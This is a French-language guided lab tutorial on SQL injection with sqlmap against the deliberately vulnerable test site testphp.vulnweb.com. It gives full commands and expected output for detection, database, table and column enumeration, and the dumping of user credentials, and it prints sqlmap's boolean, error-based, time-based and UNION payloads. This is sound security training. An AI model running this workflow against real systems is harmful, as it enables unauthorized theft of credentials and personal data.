Injection SQL sur Kali avec sqlmap

Kali LinuxBeginner
Pratiquer maintenant

Introduction

Dans cet atelier, vous apprendrez à identifier et à exploiter les vulnérabilités d'injection SQL à l'aide de Kali Linux et du puissant outil sqlmap. À travers une série d'étapes guidées, vous détecterez une application web vulnérable, énumérerez la structure de sa base de données et extrairez des données sensibles. Toutes les activités sont menées au sein d'un environnement VM LabEx sécurisé utilisant un conteneur Kali Linux. Cet atelier est conçu pour les débutants, offrant une expérience pratique des tests de sécurité automatisés pour les applications web. Lorsque vous ouvrirez le terminal, vous serez automatiquement connecté au shell du conteneur Kali Linux, prêt à commencer.

Ceci est un atelier guidé, qui fournit des instructions étape par étape pour vous aider à apprendre et à pratiquer. Suivez attentivement les instructions pour terminer chaque étape et acquérir une expérience pratique. Les données historiques montrent qu'il s'agit d'un atelier de niveau intermédiaire avec un taux de réussite de 60%. Il a reçu un taux d'avis positifs de 97% de la part des apprenants.

Configuration de l'environnement et installation de sqlmap

Votre environnement d'atelier est préconfiguré pour vous placer automatiquement dans un shell de conteneur Kali Linux dès l'ouverture du terminal. Votre première tâche consiste à préparer cet environnement en mettant à jour la liste des paquets et en installant sqlmap, l'outil principal de cet atelier.

sqlmap est un outil de test d'intrusion open-source qui automatise le processus de détection et d'exploitation des failles d'injection SQL et de prise de contrôle des serveurs de bases de données.

Tout d'abord, mettez à jour l'index du dépôt de paquets. Cela garantit que vous pouvez récupérer la version la plus récente du logiciel.

apt update

Ensuite, installez sqlmap à l'aide de la commande suivante. L'option -y confirme automatiquement l'installation.

apt install -y sqlmap

Ce processus peut prendre quelques instants. Une fois l'installation terminée, vérifiez que sqlmap est correctement installé en consultant sa version.

sqlmap --version

Vous devriez voir s'afficher la version installée de sqlmap, ce qui confirme que l'outil est prêt à l'emploi.

Résultat attendu (le numéro de version peut varier) :

1.x.x#stable

Une fois sqlmap installé et vérifié, votre environnement est prêt pour les étapes suivantes, où vous commencerez à tester les vulnérabilités d'injection SQL sur une application web cible.

Détection d'une vulnérabilité d'injection SQL

Maintenant que sqlmap est installé, vous pouvez commencer à tester une application web pour détecter d'éventuelles vulnérabilités d'injection SQL. Pour cet atelier, nous utiliserons un site web accessible publiquement, intentionnellement vulnérable et conçu pour les tests de sécurité. La première étape de toute attaque par injection SQL consiste à identifier un paramètre vulnérable.

L'URL cible pour cet atelier est http://testphp.vulnweb.com/listproducts.php?cat=1. Le paramètre cat=1 est un point d'entrée potentiel pour l'injection. Nous allons utiliser sqlmap pour tester automatiquement ce paramètre.

Exécutez la commande suivante pour lancer le test. L'option -u spécifie l'URL cible. Nous utilisons l'option --batch pour laisser sqlmap s'exécuter avec les réponses par défaut à toutes les questions interactives, ce qui rend le processus non interactif et plus rapide.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch

sqlmap effectuera une série de tests sur l'URL. Il analysera les réponses pour déterminer si le paramètre cat est injectable. Ce processus peut prendre une minute ou deux car il essaie diverses techniques d'injection SQL.

Une fois l'analyse terminée, examinez les résultats. Vous devriez trouver une section confirmant la vulnérabilité.

Résultat attendu (tronqué) :

---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71786a6a71,(SELECT (ELT(8227=8227,1))),0x716a627071),8227)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cat=1 AND (SELECT 7601 FROM (SELECT(SLEEP(5)))jbZM)

    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x4a484f686a79456477714b47526758645944704b4645674b784a76507569597a494170424a766642,0x716a627071),NULL,NULL,NULL,NULL-- -
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

Le résultat confirme que le paramètre cat est vulnérable à plusieurs types d'attaques par injection SQL :

  • Boolean-based blind : Utilise une logique vrai/faux pour extraire des données.
  • Error-based : Exploite les messages d'erreur de la base de données pour révéler des informations.
  • Time-based blind : Utilise des délais dans les réponses pour confirmer l'injection.
  • UNION query : Combine les résultats de plusieurs instructions SELECT.

L'analyse identifie également que la base de données dorsale est MySQL version 5.6 ou supérieure, fonctionnant sur un système Linux Ubuntu avec Nginx et PHP. Ces informations détaillées d'empreinte numérique guident les prochaines étapes du processus d'exploitation.

Énumération des bases de données

La vulnérabilité étant confirmée, l'étape logique suivante consiste à découvrir quelles bases de données existent sur le serveur. Ce processus est appelé énumération de base de données. Connaître les noms des bases de données est essentiel pour naviguer dans la structure des données du serveur.

Vous utiliserez l'option --dbs avec sqlmap pour lister toutes les bases de données disponibles. La commande réutilise les données de session de l'étape précédente, de sorte que sqlmap n'a pas besoin de revérifier la vulnérabilité.

Exécutez la commande suivante :

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch

sqlmap exploitera la vulnérabilité pour interroger le schéma de la base de données et récupérer la liste de tous les noms de bases de données. Notez que sqlmap reprend à partir de la session enregistrée, il n'a donc pas besoin de tester à nouveau la vulnérabilité.

Résultat attendu :

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71786a6a71,(SELECT (ELT(8227=8227,1))),0x716a627071),8227)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cat=1 AND (SELECT 7601 FROM (SELECT(SLEEP(5)))jbZM)

    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x4a484f686a79456477714b47526758645944704b4645674b784a76507569597a494170424a766642,0x716a627071),NULL,NULL,NULL,NULL-- -
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema

[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

Le résultat affiche deux bases de données : acuart et information_schema.

  • information_schema est une base de données standard dans MySQL qui stocke des métadonnées sur toutes les autres bases de données. Elle est utile mais n'est généralement pas la cible principale pour le vol de données.
  • acuart semble être une base de données d'application personnalisée, qui est susceptible de contenir les données intéressantes que nous recherchons, telles que les informations utilisateur ou les données de l'application.

Maintenant que vous avez le nom de la base de données de l'application, vous pouvez procéder à l'inspection de son contenu.

Énumération des tables et des colonnes

Après avoir identifié la base de données acuart, votre prochain objectif est de voir quelles tables elle contient. Les tables sont les endroits où les données réelles sont stockées. Une table nommée users ou customers, par exemple, est une cible de haute valeur.

Pour lister les tables de la base de données acuart, utilisez l'option -D pour spécifier le nom de la base de données et l'option --tables pour demander la liste des tables.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables --batch

Résultat attendu :

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching tables for database: 'acuart'
Database: acuart
[8 tables]
+-----------+
| artists   |
| carts     |
| categ     |
| featured  |
| guestbook |
| pictures  |
| products  |
| users     |
+-----------+

[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

Le résultat révèle plusieurs tables, users étant particulièrement intéressante. Explorons davantage la table users en listant ses colonnes. Pour ce faire, ajoutez l'option -T pour spécifier le nom de la table et l'option --columns.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns --batch

Résultat attendu :

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching columns for table 'users' in database 'acuart'
Database: acuart
Table: users
[8 columns]
+---------+--------------+
| Column  | Type         |
+---------+--------------+
| name    | varchar(100) |
| address | mediumtext   |
| cart    | varchar(100) |
| cc      | varchar(100) |
| email   | varchar(100) |
| pass    | varchar(100) |
| phone   | varchar(100) |
| uname   | varchar(100) |
+---------+--------------+

[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

Les colonnes uname (nom d'utilisateur) et pass (mot de passe) sont des cibles privilégiées pour l'extraction de données. D'autres colonnes intéressantes incluent email, cc (carte de crédit) et phone pour les informations client. Vous disposez maintenant de toutes les informations nécessaires pour extraire le contenu de ces colonnes sensibles.

Extraction des données d'une table

Il s'agit de l'étape finale de l'attaque, au cours de laquelle vous allez extraire les données de la table cible. Sur la base des étapes précédentes, vous connaissez la base de données (acuart), la table (users) et les colonnes d'intérêt (uname, pass).

Pour extraire les données, vous utiliserez l'option --dump. Vous pouvez spécifier les colonnes à extraire à l'aide de l'option -C pour rendre le processus plus rapide et plus ciblé.

Exécutez la commande suivante pour extraire les noms d'utilisateur et les mots de passe de la table users :

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump --batch

sqlmap va maintenant extraire les données des colonnes spécifiées et les afficher dans le terminal. Il enregistrera également les données dans un fichier CSV pour une analyse ultérieure.

Résultat attendu :

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching entries of column(s) 'pass,uname' for table 'users' in database 'acuart'
Database: acuart
Table: users
[1 entry]
+-------+------+
| uname | pass |
+-------+------+
| test  | test |
+-------+------+

[HH:MM:SS] [INFO] table 'acuart.users' dumped to CSV file '/root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

Le résultat montre une entrée utilisateur avec le nom d'utilisateur test et le mot de passe test. Cette extraction de données réussie démontre l'impact critique des vulnérabilités d'injection SQL :

  • Violation de données : Les identifiants sensibles des utilisateurs sont exposés.
  • Accès non autorisé : Ces identifiants pourraient être utilisés pour se connecter à l'application.
  • Atteinte à la vie privée : Les informations personnelles sont compromises.
  • Risque de sécurité : La vulnérabilité pourrait être exploitée pour accéder à d'autres données ou augmenter les privilèges.

Ceci termine une séquence typique d'attaque par injection SQL : détection → énumération → exploitation → extraction de données.

Vous pouvez également visualiser les données sauvegardées en lisant le fichier CSV mentionné dans le résultat.

cat /root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv

Résultat attendu :

uname,pass
test,test

Cela confirme que les données ont été exfiltrées et sauvegardées avec succès.

Résumé

Dans cet atelier, vous avez réalisé avec succès une attaque par injection SQL de bout en bout en utilisant sqlmap dans un environnement Kali Linux. Vous avez commencé par installer sqlmap, puis vous l'avez utilisé pour détecter automatiquement une vulnérabilité dans une application web réelle. En suivant une approche systématique, vous avez énuméré les bases de données du serveur, listé les tables d'une base de données cible, identifié les colonnes sensibles et enfin extrait les identifiants des utilisateurs. Cette expérience pratique vous a permis de comprendre concrètement comment des outils automatisés peuvent être utilisés pour trouver et exploiter l'une des failles de sécurité web les plus courantes et les plus critiques.